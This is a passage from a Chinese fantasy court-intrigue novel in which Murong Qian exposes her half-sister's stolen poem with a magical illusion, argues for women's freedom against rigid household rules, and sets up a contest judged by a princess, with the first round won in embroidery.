鼓声戛然而止,海棠花正巧落在窦娇娇手中。 这位昌平郡主兴奋地站起身,脸颊因激动泛起红晕,晃得额间的红宝石花钿愈发夺目。 她扬了扬手中的海棠,脆生生道:“那我献丑了!” “春日宴,海棠妍, 粉瓣轻舞映花钿。 笑看蝶儿枝上闹, 愿留韶光岁岁年。” 诗句虽平平无奇,满堂却已响起如潮的赞叹。 “郡主好才情,把这春日的热闹劲儿都写活了!” “是啊是啊,短短几句,便让人如临其境!” 窦娇娇得意地仰起头,唇角的笑意怎么都压不住,眉眼弯弯,像浸在蜜糖里,将花枝随意一抛,又施施然坐下。 鼓声再起,海棠花继续在席间穿梭。 慕容浅安静坐在角落,看着众人或紧张或兴奋的模样,神色淡然。 突然,鼓声骤停,那枝海棠不偏不倚,落入了慕容笙怀中。 慕容笙眼中闪过狂喜,优雅起身,东珠流苏随着动作摇曳生姿。 她昂首挺胸,声音清脆:“我也有一诗,愿博诸君一笑。” 玉漏催更夜色沉,星河遥映碧瑶岑。 露沾蘅芷香盈袖,月照琅琊思满襟。 欲寄锦书迷雁字,空怜幽梦碎瑶琴。 何当共泛沧浪水,重访云间雪浪浔。 诗句落毕,席上众人先是一愣,随即爆发出更热烈的喝彩。 “这‘雪浪浔’竟是何处?当真是闻所未闻的妙境!” “没想到慕容小姐竟是个才女呢,真是人不可貌相。” 慕容笙环视四周,目光与慕容浅相撞时,眼底闪过一丝挑衅。 慕容浅从她念第一句时就微微有些惊讶,随即似笑非笑的看着慕容笙。 慕容雪扯了扯慕容浅的衣袖,小声问道:“大姐,你为何发笑?” 慕容浅望着高台上意气风发的慕容笙,唇角勾起一抹意味深长的笑:“没什么,只是突然想起个有趣的事。” “什么趣事,好姐姐快说给我听听!” 慕容雪好奇心最重,缠着慕容浅,慕容浅只是笑。 慕容笙被她的笑弄得浑身不自在,那笑容仿佛在嘲笑她。 三日前午后,一阵风卷着张纸片掠过秦氏院子的游廊,上面工整的字迹与绝妙的诗句瞬间攫住她的目光,她想都没想便悄悄收进了袖中。 此刻望着慕容浅平静的面容,慕容笙在心底冷笑:难道这诗是慕容浅做的?绝不可能!这个在道观长大的野丫头,能懂什么诗词典故?不过是见不得自己出风头罢了! “浅姐姐……”慕容笙咬牙切齿的喊着姐姐,“你多年在道观居住,想必没有机会参加这种诗会吧,不像我每日都得苦读诗书,以求做个名副其实的侯府贵女呢。” 第53章 雪浪 她迈前一步,“姐姐,想必你听不太懂此诗的意思吧,要不要妹妹为你解释一二。” 她处处咄咄逼人,巴不得众人都知道慕容浅从小长在道观,粗鄙无知。 慕容浅却只是垂眸轻笑,顺着她的话淡淡开口,“三妹妹这首诗意境绝佳,只是不知诗中‘雪浪浔’究竟在何处?我实在是孤陋寡闻,还望妹妹赐教。” “对呀,此诗描写的雪浪浔简直是人间仙境,不知道是哪里的景色?” 有好奇的人也忍不住开口询问。 “这……”慕容笙没料到她有这一问。 她自然是不知道什么雪浪浔的,只是觉得此诗文辞华美,对仗工整,哪里细看过什么雪浪浔。 可是既然说是她做的,又怎么会答不出地点在哪呢? 慕容笙有些慌乱的看向秦氏和秦芸。 “笙儿自小生活在侯府,自然是大门不出二门不迈的千金贵女,想必这雪浪浔是在哪本书里见到的?”秦芸给慕容笙解围。 “正是书里!”慕容笙松了一口气,顺着秦芸的话说道,“我是在书里看到的此地。” “哦?”慕容浅似笑非笑,紧跟着问,“是哪本书?姐姐也想看看。” 慕容笙冷汗都下来了,狠狠的瞪着慕容浅,她就不能不要这么刨根问底吗? 慕容雪哈哈笑起来,“笙姐姐这么会作诗,肯定是饱读诗书,怎么会不知道是哪本书呢?怕不是点心吃多了,都吃肚子里去了吧。” 身为侯府姐妹,慕容玉、慕容雪自然知道慕容笙的底细。 莫说作诗了,平日里就不见慕容笙看一本书,写一个字,还总把 “有那闲工夫不如多尝两块点心” 挂在嘴边,怎可能突然作出这般工整的诗句? “你不要乱说,谁天天吃点心了!”慕容笙转身瞪着慕容雪。 慕容玉将慕容雪拉到自己身后,她虽然性格柔顺,但谁想欺负慕容雪可不行。 她眨了眨眼睛,“我们只是想起姐姐前日还说,读诗费神不如吃点心,今日这诗才,当真是突飞猛进呢!” 这话如同一粒石子投入深潭。英国公夫人闻言放下茶盏,意味深长地打量着慕容笙。 “自己诗中的地名都答不出?” 英国公夫人冷笑一声,“莫不是从哪偷来的句子充数?” 她着重点在偷字上,提醒大家昨天慕容笙还涉及偷戴嫡母遗物呢。 嫡母的嫁妆都敢偷,今天这工整的诗句不会也是从别人那偷来的吧。 “是啊是啊,这等生僻地名,若不是亲身游历,怎会信手拈来?”议论声如潮水般涌来。 “我平日看的书太多,一时想不起是哪本书,不过这雪浪浔……自然是在极北之地!” 慕容笙扬起下巴,故意做出思索状,“那里终年积雪,浪涛翻涌时如碎玉击岸,故而得名。” 她话音刚落,席间便响起窃窃私语,英国公夫人狐疑地皱眉:“听着倒新奇,只是从未在典籍里见过记载。” 慕容雪摇晃着慕容浅的手,“大姐,你说,雪浪浔是在极北之地吗?” 慕容浅还没答话,就听慕容笙冷哼,“姐姐常年在道观,想必更没听过雪浪浔吧。” 慕容浅轻轻放下手中茶盏,起身时浮光锦裙扫过案几:“妹妹的记性怕是不大好。” 她目光如炬,直直撞进慕容笙慌乱的眼底,“雪浪浔是在南疆苍梧山深处,乃是上古巫族祭祀之地。每逢月圆之夜,浪涛拍岸时会泛起幽蓝荧光,仿若星河坠入人间。” 慕容笙张口结舌,“你……这是你乱编的。” 慕容浅抬手虚画符文,指尖亮起淡金色微光:“诸位若不信……” 淡金符文如萤火般跃出,在半空交织成细密的光网。 随着她手腕轻转,整座花厅骤然陷入幽蓝暮色,檐角铜铃无风自动,发出空灵回响,似是穿透了时空界限。 整座花厅的烛火骤然熄灭,取而代之的,是从地面腾起的幽蓝雾气,丝丝缕缕缠绕着众人衣袂,仿若坠入幽冥之境。 须臾间,白雾翻涌成浪,众人脚下的青砖悄然化作嶙峋的黑色崖石,潮湿的海风裹挟着咸腥气扑面而来,发间珠翠被吹得叮当作响。 “这是。。。” 窦娇娇惊恐地抓住身旁侍女,却发现自己的指尖竟穿透了对方的衣袖 —— 眼前的一切,皆是虚幻却又无比真实的幻境。 极目望去,百丈黑崖如巨兽横卧,千万道银白浪头裹挟着碎玉般的水花,以雷霆万钧之势轰然撞向崖壁。 浪花碎裂的刹那,细密的水珠飞溅而出,冰凉的触感真切地落在众人脸上、颈间,沾湿了鬓边的绢花与华贵的衣襟。 浪涛轰鸣中,隐约传来古老的 吟诵声,像是来自深渊的低语。 黑崖表面浮现出暗红纹路,在幽蓝波光的映照下,竟拼凑成巨大的人面图腾。 那双空洞的石眸凝视着众人,眼窝里不断涌出泛着磷火的海水,汇入翻涌的浪涛。 “小心!” 不知谁惊叫一声。只见一道数丈高的浪墙裹挟着漩涡,直朝众人站立的 “崖边” 扑来。 慕容雪本能地闭眼后退,却撞进一片虚无,再睁眼时,浪墙已在咫尺之遥,飞溅的水花中甚至能看清游弋的惨白鱼骨。 慕容笙死死抓着 “崖边” 凸起的岩石,指节因用力而泛白。 她惊恐地转头,正对上慕容浅平静的侧脸 —— 对方周身萦绕着微光,袖中飘出的海棠花瓣逆着海风,缓缓飘向翻涌的浪涛,每片花瓣落入水中,便化作一盏明灭的蓝火,照亮了浪底堆积如山的骸骨。 “这才是雪浪浔……” 慕容浅的声音混在浪涛声中,带着几分悲悯,“千年来,多少巫祝献祭于此,他们的怨念与海水相融,才铸就了这等奇景。笙妹妹,你确定曾在书里见过?” 话音未落,浪涛突然倒卷而上,众人惊呼着被 “海水” 吞没。 可下一刻,幻境如泡影般破碎,花厅烛火重燃,只余满地湿润的海棠花瓣,无声诉说着方才的惊心动魄。 慕容笙踉跄后退,撞翻了身后的绣墩。 而慕容浅垂眸看着脚下虚幻的浪花,唇角勾起一抹意味深长的弧度 —— 有些偷来的风光,终究要付出代价。 第54章 论道 暮春的风卷着海棠残瓣扑进雕花窗棂,慕容浅望着慕容笙青灰的脸色,忽然轻笑出声,这笑声清泠如檐角风铃,却刺得慕容笙浑身一颤。 “笙妹妹可知为何你费尽心思,却总落人下?” 慕容浅广袖轻拂,案上未干的幻水痕迹泛起涟漪,“《战国策》有云,‘争名者于朝,争利者于市’,可你争的不过是侯府后院巴掌大的地方,不过是些蜗角虚名。” 慕容笙踉跄着扶住案几,东珠流苏剧烈摇晃:“你……你不过是个被丢去道观的野丫头,懂什么侯府规矩!” “规矩?” 慕容浅眼中闪过一丝怜悯,目光看向虚空,仿佛看见了蜿蜒的江河图卷,“你困在侯府的四方天地里,以为这就是整个世界。可你见过大漠孤烟直上云霄的壮阔吗?见过江南烟雨染绿十里长堤的柔美吗?知道雪域高原上,星辰仿佛触手可及的震撼吗?” 她忽然逼近,声音虽轻却字字如锤:“你偷诗、使诈,不过是想在这后院里争一口所谓的‘体面’。可这体面,不过是他人施舍的金丝雀笼。你就像井底之蛙,守着巴掌大的天,还以为那就是永恒。” 慕容笙涨红着脸尖叫:“住口!女子就该守好本分,相夫教子,你这是疯言疯语……” “相夫教子便是本分?” 慕容浅冷笑打断,“班昭著《女诫》,却也著《汉书》;冼夫人保境安民,不让须眉。真正的本分,从来不是画地为牢!你以为靠些小伎俩就能压过旁人,殊不知,你争的那些虚名,在广阔天地间,连一粒沙尘都算不上。” 英国公夫人震惊得差点打翻手中茶盏,而秦芸捏着折扇的指节发白,目光在慕容浅与慕容笙之间来回游移。 花厅内贵女们面面相觑,此等言论实在是出乎她们的意料之外。 窦娇娇攥着护甲的指尖深深陷进掌心,绣着并蒂莲的绢帕被揉得发皱。 慕容浅勾勒的山河虚影还在眼前晃动,那些她只在《舆地志》残页上见过的地名,此刻竟化作流动的画卷,刺痛着她的双眼。 从小她便知道,昌平郡主的身份是荣耀,也是枷锁。 每日卯时晨起习女红,未时学音律,戌时背《内则》,连赏花游园都要按着规矩步步慢行。 “女子本就该安于内宅!” 窦娇娇突然出声反驳,声音里带着连她自己都未察觉的颤抖。 “《礼记》有云‘男女有别,男不言内,女不言外’,若都如你这般不知天高地厚,成何体统?” 她刻意抬高下巴,却不敢直视慕容浅眼底的星光,生怕那光芒照见自己心底隐秘的渴望。 她曾无数次对着宫墙之外的流云发呆,幻想能像话本里的侠女般纵马江湖。 韩国夫人的女儿捏着团扇的手也在微微发抖,自小母亲便告诉她,名门闺秀的一生早已写好。 十六岁议亲,十八岁出阁,生儿育女,操持中馈,将家族荣耀延续下去。 此刻慕容浅的话却像把利刃,剖开了这看似华贵的锦缎,露出底下千疮百孔的真相。 “我们生来便肩负家族兴衰,岂能任性妄为?” 她强作镇定,声音却透着虚张声势的生硬,“你以为行走万里河山是潇洒,不过是不知人间疾苦的痴人说梦!” 满堂贵女中,有人悄悄将袖中藏了三年的《徐霞客游记》又往里塞了塞 —— 那是兄长从江南带回的禁书,她每次翻看都要躲在阁楼最深处,看完后又愧疚得整夜难眠。 有人想起及笄那年,父亲指着婚书说 “这都是为你好” 时,自己心里涌起的那股绝望。 可此刻,她们只能用更激烈的言辞维护着既定的一切,因为一旦承认慕容浅说得对,便意味着否定自己过去十几年的人生。 “你不过是被道观养大的野丫头,不知规矩为何物!” 不知谁喊出这句话,引发一片附和。 她们的声音越来越高,仿佛这样就能盖过心底那些蠢蠢欲动的念头。 窦娇娇望着众人涨红的脸,突然意识到,她们维护的何止是闺阁规矩,更是摇摇欲坠的精神支柱 。 只有拼命证明深宅大院里的人生是正确的,才能让她们继续心安理得地困在这金丝笼中。 窦娇娇深吸一口气,这位昌平郡主鬓边的红宝步摇晃出刺目光芒,“你真是好大的口气!难不成读了几本道家典籍,便敢轻贱闺阁教养?《女诫》有训‘谦让恭敬,先人后己’,倒是你这满口河山的做派,才叫不知安分!” “安分?” 慕容浅唇角勾起讥诮弧度,广袖拂过案上未干的水痕,“班昭作《女诫》时,可曾想过后世女子将‘安分’作牢笼?谢道韫能咏絮,李清照敢言‘生当作人杰’,难道也是不安分?” 她忽然抬手指向窗外被风掀起的云幕,“你们看那流云,被困在四角天空便成雨,若破出樊笼,自可揽日月星辰。” 满堂哗然中,韩国夫人紧紧拉住女儿的手,安抚她颤抖的肩头:“大姑娘的言论真是让人不寒而栗!女子当以三从四德为本,你这番说辞,莫不是要惑乱人心?” “三从四德是枷锁,而非天道。” 慕容浅踏前半步,玄色裙摆扫过满地狼藉,“为何女子就该困于绣楼?难道天生丽质,便只能用来取悦他人?难道聪慧灵秀,就该埋没于脂粉之间?” “我曾在道观听闻,岭南有位渔家女,驾船出海,绘制海图,让无数商船避开暗礁;塞北有位女将军,披甲执锐,镇守边关十载,令敌寇闻风丧胆。谁说女子只能困于庭院,相夫教子?” 秦芸猛地拍案而起,镯子撞出脆响:“你不过是在道观野惯了!没了侯府庇护,你连出城的路找不到,谈何行走万里?” “正因为深知自己的局限,才更要破局。” 慕容浅指尖凝出微光,在虚空中勾勒出山河轮廓,“我虽无缚鸡之力,但能以术法观天下;诸位生在钟鸣鼎食之家,却甘愿画地为牢。究竟是谁短视,一目了然。” 第55章 约战 慕容浅话音落定的刹那,花厅内鸦雀无声,唯有烛火噼啪爆响的脆响。 满堂贵女神色各异 —— 有人瞪大双眼,像是听见了耸人听闻的妖言;有人拧紧柳眉,指尖无意识揪着裙裾,将繁复的缠枝纹捏得变形;也有几位年纪稍小的贵女,眼底藏不住的向往,却又慌忙垂下眼帘,生怕被人窥见这份隐秘的悸动。 月洞门外,男子间的交谈声不知何时停了。 太子萧瑾卿捏着折扇的手微微发僵,扇面上的墨竹被指节压出褶皱,他望着慕容浅勾勒的山河虚影,喉结滚动却发不出声音。 英国公世子端着的茶盏还冒着热气,茶汤却已泼在绣鞋上浑然不觉。 唯有裴子慕转动轮椅,玄色蟒纹衣袍掠过满地海棠,他抬手击掌,惊破凝滞的空气:“好个‘冲破桎梏’!慕容姑娘这番话,倒是让我等须眉汗颜。” 他的声音带着北疆风雪般的凛冽,却又含着几分激赏:“世人总道女子该温婉贤淑,却忘了‘巾帼不让须眉’的古训。今日听姑娘一言,倒显得我等被陈规束缚,反不如女儿家通透!” 这话如巨石投入深潭,在场男子面面相觑,有人若有所思地摩挲着腰间玉佩,有人皱眉摇头似要反驳,却又不知从何说起。 满堂压抑的气氛中,秦芸忽然笑了,她斜坐在椅子上,护甲慢条斯理地划过茶盏边缘,发出刺耳声响:“当年江语嫣可是京中闺秀的典范,琴棋书画样样精通,礼仪规矩半点挑不出错处。如今女儿却说出这等惊世骇俗的话,莫不是在打母亲的脸?难不成我们这些恪守本分的,反倒都活错了?” 这话如同一把尖刀,瞬间挑动满场情绪。 窦娇娇率先冷笑出声:“就是!我们自幼习女红、学音律,难道不比你这在道观野惯了的强?说什么‘画地为牢’,分明是自己没规矩,还妄图贬低旁人!” 韩国夫人也跟着摇头,面上满是痛心疾首:“江家小姐当年堪称闺阁楷模,怎么养出个这般不知天高地厚的女儿?” 慕容浅周身气息骤然变冷,江语嫣的名字被人当作攻击的利器,比任何嘲讽都更让她难以接受,那个记忆中白衣胜雪的女子,绝不该逝后被如此取笑。 “你们曲解我的话,拿先母做筏子,不过是想遮掩自己的怯懦!我何时说过琴棋书画无用?只是女子不该只有这一条路可走!” “少在这强词夺理!” 不知哪位贵女尖声反驳,“你连闺阁教养都没受过,有什么资格评判我们的选择?” 这话引得众人纷纷附和,声浪几乎要掀翻花厅的屋顶。 慕容浅突然轻笑出声,笑声清冽如冰:“好,好一个‘没资格’。那我便以诸位最擅长的琴棋书画为赌,若我输了,任凭处置;但若我赢了 ——” 她目光如刀扫过全场,“你们便收回方才诋毁先母的话,也莫要再拿‘规矩’当枷锁,困死天下女子!” 她迎着满堂贵女惊怒交加的目光,唇角勾起一抹孤绝的笑:“既说我不知天高地厚,不如就以诸位最引以为傲的技艺分个高下。琴棋书画、针织女红,任你们挑选三项,各派一人与我比试。” “三局两胜,但凡我输一局,即刻向在场诸位磕头赔罪,从此闭口不谈女子出路!” 慕容浅立在厅中光影交界处,素白广袖无风自动,一缕微光自她发间的玉簪蔓延开来,如银线般缠绕着衣袂。 平日里那双清冷疏离、仿若倒映着道观山月的眼眸,此刻却燃起灼人烈焰,锋芒如淬了霜的剑锋,扫过满堂贵女时,竟让众人下意识的不敢与之对视。 随着她开口约战,仿佛褪去了往日不食人间烟火的仙气,整个人化作一柄出鞘的利剑。 慕容浅周身散发的气势,哪里还是那个她们眼中的落魄嫡女? 举手投足间,连烛火都在她光芒下黯淡如豆。 裴子慕转动轮椅的动作骤然停滞,蟒纹衣袍下的手指死死攥住轮椅扶手。 他望着那道几乎要刺破穹顶的光芒,喉结滚动 —— 原来这看似清冷的女子,竟藏着如此磅礴的战意,那光芒中裹挟的决绝,仿佛能劈开深宅大院的重重枷锁,照亮所有困在规矩里的灵魂。 窦娇娇的护甲 撞在杯盏上,她强压下眼底的慌乱,笑道:“好大的口气!当真以为学了点旁门左道,就能胜过世家教养?” 她环视四周,目光落在户部侍郎家的嫡女身上,“宋之问姑娘的《广陵散》名动京城,琴艺这局便由你来!” “棋之一道,我倒想会会浅姐姐。”礼部尚书之女孟青慢条斯理地起身,指尖轻抚棋盘,檀木棋子在她掌心碰撞出清响,“听闻道家善卜算,可敢与我下盲棋?” 窦娇娇眼波流转,目光突然定格在角落处低头品茶的柳如棠身上。 这位柳家嫡女指尖正无意识摩挲着茶盏,腕间羊脂玉镯与杯沿轻碰,发出清泠声响。 “柳妹妹的缠枝绣针法,可是家传绝技。” 窦娇娇勾起唇角,抬手虚指柳如棠,“当年令堂以‘双面异色绣’技惊四座,如今柳妹妹这手绝活,正该让某些人见识见识什么叫真正的闺阁才艺。” 柳如棠缓缓起身,素色襦裙上细密的云纹刺绣随着动作若隐若现。 她垂眸望着慕容浅,声音轻柔却暗藏锋芒:“母亲曾说,女红之道,在于心细如发、静守规矩。这与某些人鼓吹的‘破局’之说,倒真是天差地别。” 慕容浅立在灼灼烛火下,周身流转的光芒如星子坠落,将她玄色道袍染成流动的光晕。 当窦娇娇点出三位应战者时,她忽然轻笑,笑声清越如金石相击,惊得梁间燕雀扑棱棱乱飞:“好!既如此,我便以一人之力,会会诸位的‘看家本领’!” “慢着!” 娇喝声如银铃乍响,两道身影突然疾步穿过摇曳的烛影。 慕容雪攥着慕容浅的衣袖,杏眼圆睁瞪向窦娇娇:“你们三个对一个,分明是以多胜少!欺负我大姐姐算什么本事?” 她发间的绒花随着急促的呼吸微微颤动,活像只炸毛的雀儿。 第56章 长公主 慕容玉则敛衽福身,温婉的面容上泛起少见的坚毅:“大姐,让我替你迎战女红。” 慕容浅眉峰微动,正要开口拒绝,却被慕容雪拽着胳膊摇晃。 “大姐!” 慕容雪仰起通红的小脸,睫毛上似有泪光闪烁,“平日里你处处护着我们,如今怎能独自面对?侯府女儿本是一体,若旁人欺负你,我们又怎有脸躲在后面?” 她转头望向慕容玉,后者默契地点头,两人牢牢站在慕容浅身侧,如同两株挺立的翠竹。 慕容玉握住慕容浅微凉的手,声音轻柔却笃定:“大姐总说‘人心齐,泰山移’,今日便信我们一次。” 厅内陷入短暂的寂静,唯有烛芯爆裂声此起彼伏。窦娇娇看着三姊妹周身交缠的光晕,突然觉得那光芒太过刺眼。 窦娇娇冷笑出声:“演什么姐妹齐心,以为临时抱佛脚能赢过我们十几年的刻苦用功?就让你们三人一起上,免得输了说我们以多欺少不认账!” 慕容雪干脆揽住慕容浅的胳膊,像只护崽的小兽般瞪向窦娇娇:“谁要敢再小瞧我大姐,先过我这关!” 暮春的风裹着海棠香掠过游廊,铜铃突然叮铃作响。 众人循声望去,只见月洞门外八名宫娥持着绛纱宫灯徐徐分开,鎏金翟纹轿辇缓缓停下。 秦氏手中的茶盏“当啷” 坠地,轿帘掀起的刹那,玄狐裘下露出的衣裙下摆,分明是内廷规制。 “长公主殿下金安!” 满堂贵女慌乱行礼,裙裾扫过青砖的窸窣声里,一抹明黄身影款步而入。 平阳长公主萧音音指尖轻转羊脂玉扳指,凤目扫过剑拔弩张的厅内,忽而轻笑出声:“本宫闲得无聊,想着来海棠宴上凑凑热闹,如此盛会大家都这么剑拔弩张的作甚?” 自有女官将方才的约战讲述给她听,萧音音的目光落在并排而立的慕容家三姊妹身上,凤眉微挑:“以一敌三已是新鲜,竟还有姊妹同袍?倒比话本子里写得还精彩。” 窦娇娇脸色发白,勉强福身道:“殿下说笑了,不过是场闺阁比试……” “比试?” 长公主抬手止住众人,金丝绣着百鸟朝凤的广袖掠过案几,震得棋盘上的棋子轻晃,“既是比试,岂无裁判?本宫倒是来了兴致。” 她朱唇轻启,点向英国公夫人、韩国夫人与兵部尚书夫人,“三位素来公正,可愿与本宫一同,断个是非高下?” 三位贵夫人受宠若惊,忙不迭应下。 萧音音却已踱步至慕容浅身前,凤目凝视着她眼底未熄的战意:“听闻你要以琴棋书画破这深宅规矩?” 她饱满的红唇勾起玩味的笑意,“既如此,本宫就来定这个规矩,第一局,就……”她随意的指了指慕容玉,“就先比拼女红吧,以一夜为限,明早你们各出一副绣样,由我和三位夫人评出高下。” 慕容玉和柳如棠连忙答是,满堂夫人和贵女皆是唯唯诺诺,不敢拂了萧音音之意。 须知这位平阳长公主萧音音,可不是一般人。 她与当今圣上本是龙凤胎,自小在波谲云诡的宫闱权谋中成长。 皇室的争斗从未停歇,他们在暗流涌动里步步为营,深谙权力场中的生存之道。 岁月流转,一个最终登上龙椅,独坐朝堂执掌乾坤;一个则顶着诸多非议,以寡妇的身份搅动风云。 只因新朝刚建之时,为稳固皇权、拉拢朝中势力,萧茵茵遵皇命下嫁平远大将军。 大婚当日,红妆十里,却难掩她眸中的疏离与清醒。 婚后不久,边关战事吃紧,驸马披挂出征,谁料此去竟是永诀。 战场上的金戈铁马,终究带走了那个与她举案齐眉的人,独留她成了孀居之人。 圣上对胞妹满怀愧疚,自觉是自己将她推入了这不幸的境地。 为弥补这份亏欠,他对萧茵茵的宠爱近乎无度,无论她提出何种要求,总会想尽办法满足,纵容她在京中肆意行事。 然而,萧茵茵的恣意妄为也招致了非议。 坊间流言蜚语不断,有人说她府中养着面首,行为不检点、放荡不羁。面对这些诋毁,她却神色淡然,依旧我行我素。 她身着最华丽的衣裳,佩戴最珍贵的首饰,以狂傲不羁的姿态出入各种场合。 那些恶意的揣测,在她眼中不过是跳梁小丑的聒噪,她不屑一顾,偏要以这样的方式,向世人宣告自己绝不向世俗礼教低头的决心。 慕容浅垂眸敛衽,浮光锦上暗纹随着动作泛起微光,在满地狼藉的海棠花瓣间划出冷冽的弧光。 她缓缓直起身,目光穿过长公主广袖间摇曳的金丝流苏,与那双盛着霜雪的凤目平视:“公主既愿执裁,我等姐妹自当全力以赴。” 萧音音挑挑眉,似在惊讶她的不卑不亢,“本宫倒要看看,你这把利剑,能劈开多大的天。” 言罢,长公主甩袖而去,留下满堂贵女面面相觑。 暮色浸透窗棂时,慕容玉的绣架已铺满彩线。 银针在烛光下穿梭如蝶,素绢上的花朵渐次绽放,花瓣边缘泛着若隐若现的金线。 慕容雪陪在旁边,小心翼翼地拨亮灯芯,琉璃灯罩映得她脸颊通红:“姐姐,这孔雀蓝的丝线够亮么?要不要换成金线勾边?” 木门 “吱呀” 轻响,葛氏步伐沉重的迈过门槛,鬓边的珍珠步摇随着步伐轻颤。 她望着女儿们专注的模样,眼底泛起忧虑:“玉儿、雪儿,明日的比试……哎你们何苦要揽这趟浑水?得罪了那些贵女,日后……” “母亲!” 慕容雪头也不抬,“大姐说得对,侯府女儿本该同气连枝。若任由旁人踩在头上,我们又如何立足?” 慕容玉抬手拭去鬓角细汗,“母亲曾经说过,江夫人当年在世时对我们二房多有照拂,如今我们怎能眼睁睁看她女儿受辱?” 慕容雪 “嚯” 地站起身,裙摆扫过满地彩线:“就是!那些人以为我们好欺负,偏要让她们瞧瞧!” 少女攥紧拳头,眼中闪着倔强的光,“二姐的绣工连宫里嬷嬷都夸过,明日定能让她们心服口服!” 第57章 女红 葛氏望着女儿们坚毅的面容,眼眶突然发热。 她轻轻抚上慕容玉因持针而发红的指尖,又替慕容雪理好鬓发:“是母亲糊涂了……我的玉儿、雪儿,竟都长成能独当一面的大人了。” 她转身提起裙摆,“我去厨房炖些莲子羹,你们慢慢绣,莫要累坏了身子。” 烛火在青瓷灯罩里明明灭灭,二老爷慕容续搁下手中的书,望着伏案整理绣样的慕容玉与蹲在脚边收拾彩线的慕容雪,案头摊开的《列女传》倒显得黯然失色。 葛氏轻手轻脚添上一盏新茶,茶雾氤氲间,他抚着山羊胡喟然长叹:“昔年蔺相如渑池会无惧强秦,靠的是胆魄;今日公主贵女环伺,你们敢挺身而出,靠的亦是肝胆。这等侠义,不输古之豪杰。” 慕容玉闻声抬头,“父亲过奖了,不过是不愿见大姐孤身犯险。” 慕容雪抱着绣篮蹦跳过来,“二姐的绣工能把活物绣得眨眼,明日定能让那些人闭嘴!” 少女语气骄傲,烛火映得她脸颊红扑扑的,倒像极了幼时举着风筝满院跑的模样。 葛氏担忧的神色终于化开,轻轻戳了戳女儿的额头:“就你嘴快。” “快得好!” 慕容续爽朗大笑,震得书架上的书籍簌簌作响,“《后汉书》载‘天下快意之事莫若友,快友之事莫若谈’,你姊妹既是血脉相连,又能互为臂膀,实乃我慕容家之幸。” 他望向窗外渐明的天色,忽然想起年轻时与同窗纵论古今的意气风发,此刻看着女儿们,倒觉得这守在家宅的侠义,更胜过万千文章。 窗外,海棠花在夜风中轻轻摇曳,将满室温暖的灯火,揉碎成点点星辉。 晨光刺破薄雾时,长公主的鎏金翟纹轿辇已碾过侯府汉白玉阶。 满堂贵女敛衽行礼,绣着缠枝莲的裙裾在青砖上铺开,却不及长公主玄狐裘边的金线夺目。 窦娇娇扶着柳如棠款步上前,眼角余光扫过慕容家三姊妹,掩在袖中的嘴角勾起轻蔑弧度:“柳家的缠枝绣乃是京中一绝,便是宫里尚宫局的嬷嬷见了也要赞一声‘神乎其技’,某些人还是早早认输,省得丢人现眼。” 当柳如棠绣架上的素绸如流云般滑落,满室贵女的惊呼声几乎掀翻雕花木梁。 紫檀绣架上,以缠枝绣法织就的《金翎栖棠图》夺人眼目 —— 三只孔雀昂首立于盛放的西府海棠间,尾羽以金线勾勒出流云纹,每根翎羽都用九种深浅不一的靛蓝丝线层层晕染,翎眼处更嵌着细碎的珍珠,在晨光中流转着虹彩。 海棠花瓣则以朱砂与胭脂红丝线交织,缠枝藤蔓蜿蜒缠绕,竟巧妙地化作孔雀尾羽的装饰,针脚细密得如同天成。 “这缠枝绣竟能将孔雀与海棠融为一体!” 窦娇娇赞叹,护甲几乎要戳到绣架上,“柳妹妹的针法,怕是把孔雀都绣活了!” “何止是活!” 韩国夫人的女儿攥着团扇凑近细看,“你们瞧这孔雀的眼神 —— 骄傲中带着威严,分明是把皇家园林的气象都绣进了绸缎里!还有这海棠花瓣,边缘竟用金线勾出露珠的形状,当真是巧夺天工!” “慕容家的野丫头们可要瞧仔细了,” 某位御史家的千金掩着嘴嗤笑,“这才是名门闺秀该有的手艺!你们就算绣上十年,也绣不出这般雍容华贵!” 贵女们哄笑声中,讥讽的话语如银针般刺来:“听说慕容玉连夜赶工,该不会绣出个四不像吧?” “依我看,她们怕是连普通的平针都用不利索!” 窦娇娇拉长语调,斜睨向慕容玉,“柳妹妹的缠枝绣,可是家传了三代的绝技,某些临时抱佛脚的,看看你们绣的怎么样吧……” 面对如刀的嘲讽,慕容浅依旧垂眸而立。慕容玉双目微红,垂眸不语,慕容雪攥紧腰间锦囊,抬头望向长公主时,眼中的倔强比鬓边绒花更鲜艳。 “口舌之争最是无趣,” 慕容浅终于开口,声线清泠如冰,“公主殿下的评判,才是定论。” 然而,当慕容玉的绣架揭幕时,满室骤然陷入死寂。 不同于柳如棠孔雀绣的艳丽繁复,这幅作品以素白缎面为底,却在留白处暗藏乾坤 。 一只金凤凰静立牡丹丛中,尾羽舒展如月华倾泻,周身羽毛以金丝银线交织,每一根翎羽末端都缀着极细小的珍珠,随着光影流转泛着碎钻般的光晕。 牡丹花瓣层层叠叠,绯色丝线由深至浅晕染,花蕊处暗藏的金线若隐若现,恰似凝结的晨露。 最令人心惊的是凤凰的双目 —— 以黑曜石般的丝线绣成,凤眼微眯,凌厉的眸光仿佛能穿透人心。 那眼中的高傲与威严,竟与端坐上位的长公主萧茵茵有几分神似,似有一股无形的压迫感,让在场贵女不自觉屏住呼吸。 “这……这算什么?” 窦娇娇率先打破死寂,声音却不自觉发颤,“虽然说绣的挺好,但不过是幅素净的单面绣,如何比得上柳妹妹缠枝绣……” 话音未落,慕容玉已轻盈上前,指尖轻轻转动绣架转轴。 刹那间,满室抽气声此起彼伏 —— 反面竟另有乾坤。 原本静立的金色凤凰竟化作火红色展翅欲飞的姿态,尾羽张扬如燃烧的火焰,周身金丝骤然化作赤红色,与牡丹的绯色相映成辉。 翻转的缎面背面,凤凰羽翼舒展间,金线勾勒的火焰纹路层层叠叠,仿若浴火重生的真神,连凤凰眸中的神采都比正面凌厉三分。 “失传百年的双面异色幻绣!” 长公主猛地坐直身子,羊脂玉扳指撞在扶手上发出脆响,“如此神技,竟真的重现了!” 满堂贵女目瞪口呆,有人踉跄后退撞倒绣凳,有人攥着团扇的手指节发白。 柳如棠面色煞白,死死盯着绣架上流转的金线,喃喃道:“不可能…… 这针法、这机关,怎会……” “我姐姐自幼痴迷女红,” 慕容雪仰起小脸,鬓边绒花随着话语轻颤,“她翻遍侯府藏书阁,在残破古卷里寻到绣法残篇,又用了整整三年琢磨针法。昨夜为了这幅绣品,她更是未合一眼!” 第58章 承霁 少女忽然转身,清亮的目光扫过满堂贵女,“世人总说女子研习女红只为嫁人,可姐姐偏要证明 —— 这双手既能绣出传世之作,也能劈开世俗的偏见!” 